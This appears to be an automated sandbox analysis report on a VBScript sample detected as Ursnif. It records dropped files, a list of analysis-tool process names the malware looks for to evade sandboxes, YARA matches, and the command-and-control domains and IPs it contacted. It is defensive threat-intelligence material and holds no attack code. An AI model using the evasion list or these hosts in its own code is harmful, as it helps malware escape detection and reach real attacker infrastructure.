Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

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AV process strings found (often used to terminate AV products)
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: procmon.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: tcpview.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: wireshark.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: avz.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: cports.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: lordpe.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: icesword.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: regshot.exe

Stealing of Sensitive Information:

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Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.363949393.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363973490.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363868839.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363828372.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363793601.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.375177538.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363915717.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363991064.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363760617.00000000056D8000.00000004.00000040.sdmp, type: MEMORY

Remote Access Functionality:

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Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.363949393.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363973490.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363868839.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363828372.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363793601.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.375177538.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363915717.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363991064.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363760617.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 330430 Sample: attach_12.12.2020-4570.vbs Startdate: 14/12/2020 Architecture: WINDOWS Score: 96 24 Multi AV Scanner detection for submitted file 2->24 26 Yara detected  Ursnif 2->26 28 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 2->28 6 wscript.exe 2 31 2->6         started        11 iexplore.exe 2 83 2->11         started        process3 dnsIp4 20 yip.su 88.99.66.31, 443, 49724 HETZNER-ASDE Germany 6->20 16 C:\Users\user\AppData\...\metamorphose.xz, PE32 6->16 dropped 18 C:\Users\user\AppData\Local\...\krypton.zip, Zip 6->18 dropped 30 System process connects to network (likely due to code injection or exploit) 6->30 32 Benign windows process drops PE files 6->32 34 VBScript performs obfuscated calls to suspicious functions 6->34 36 3 other signatures 6->36 13 iexplore.exe 31 11->13         started        file5 signatures6 process7 dnsIp8 22 golang.feel500.at 47.241.19.44, 49742, 49743, 80 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 13->22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
88.99.66.31
unknown Germany
24940 HETZNER-ASDE false
47.241.19.44
unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false

Contacted Domains

Name IP Active
yip.su 88.99.66.31 true
golang.feel500.at 47.241.19.44 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://golang.feel500.at/favicon.ico false
  • Avira URL Cloud: safe
unknown